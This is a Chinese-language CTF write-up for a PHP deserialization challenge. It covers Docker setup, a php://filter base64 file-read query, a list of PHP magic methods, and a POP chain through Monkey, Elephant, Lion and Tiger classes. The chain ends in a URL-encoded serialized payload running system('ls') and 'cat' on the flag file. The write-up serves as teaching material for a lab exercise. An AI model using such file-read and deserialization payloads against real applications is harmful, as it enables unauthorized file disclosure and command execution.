记一道简单的 PHP 反序列化
题目来源与环境搭建
题目来源
环境搭建
使用 Docker 和 Docker Compose 搭建,Docker 使用教程见 Docker — 从入门到实践
关于 Docker 的一个很不错的视频(快速入门)
修改
docker-compose.yml
的端口配置1
vim docker-compose.yml
把 ports 里的 8085 修改成你想要的端口
使用以下命令构建 Docker 镜像
进入题目根目录下运行命令(可先对 Docker 进行换源)
1
docker build -t pop .
使用以下的命令创建运行容器
进入题目根目录下运行命令
1
docker-compose up -d
解题部分
协议读文件
打开题目,就看见提示在hint.php
,好那就访问它:
1 |
|
看见文件包含,就想到利用协议来读取文件,先来尝试读取flag.php
:
1 | ?flag=php://filter/read=convert.base64-encode/resource=flag.php |
得到如下结果:
1 | PD9waHANCkknbSBub3QgYSByZWFsIGZsYWcNCj8+ |
Base64 解码出来:
1 |
|
好嘛,是个假的 flag,那就来读读index.php
:
1 | ?flag=php://filter/read=convert.base64-encode/resource=index.php |
照样得到一串 Base64 编码的数据,进行解码
1 |
|
源码分析
先来说下 php 里的魔术方法:
__wakeup()
:在反序列化时被调用
__sleep()
:在序列化一个对象时被调用
__destruct()
:在对象被销毁时调用
__construct()
:在一个对象被创建时会调用
__call()
:在调用一个对象中不存在的或者被权限控制的方法时会调用
__callStatic()
:调用不可见的静态方法时会自动调用
__get
:用于获取类里的变量(private, protected,public 都可以)
__set()
:用来给私有成员属性赋值
__isset
:当我们对不可访问属性调用isset()
或者empty()
时调用
__unset()
:基本和__insset
情况一致,都是在类外访问类内私有成员时要调用这个函数
__toString()
:将一个对象当作一个字符串来使用时,就会自动调用该方法
__invoke()
:当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用
其次在某些函数前面加了 @,这个 @ 的作用是:是 PHP 提供的错误信息屏蔽的专用符号,简单来说就是让页面不显示报错
构造 pop 链
这里使用正向的思路来构造:
- 首先看见
Monkey
类里面有__wakeup
方法,我们可以从这个类出发,因为在反序列化时,__wakeup()
方法可以主动调用 - 再来看
__wakeup()
里面的东西,注意到$this->head
,如果我们把一个类赋给head
,那么在执行正则时,就会调用这个类里面的__toString()
方法 - 再来寻找有
__wakeup()
方法的类,发现有Elephant
和Tiger
,但我们要的是Elephant
这个类 Elephant
里的__toSting()
返回的是nice->nose
,所以我们还要给nice
赋一个类- 这里把
Lion
赋给nice
,这样在访问Elephant
里的nose
时,会调用Lion
里的__get()
- 再在
Lion
里把 tail 赋成Tiger
,在Lion
里面return $function();
时,就会调用Tiger
里的__inkove()
,进一步调用Tiger
里的boss()
,进而调用eval()
,再向Tiger
里的$var
传入system()
函数,就可以执行命令了
B 站上有个视频也讲的不错(题目很相似):
构造 Payload
使用上面的思想可以写出以下代码
1 |
|
得到的 Payload(用变量 zoo POST 过去):
1 | O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D |
看到回显的几个目录就成功了,然后读取 flag:
1 | protected $var = "system('cat /real_flag/f1Ag');"; |
生成 Payload 打过去就能看见 flag 了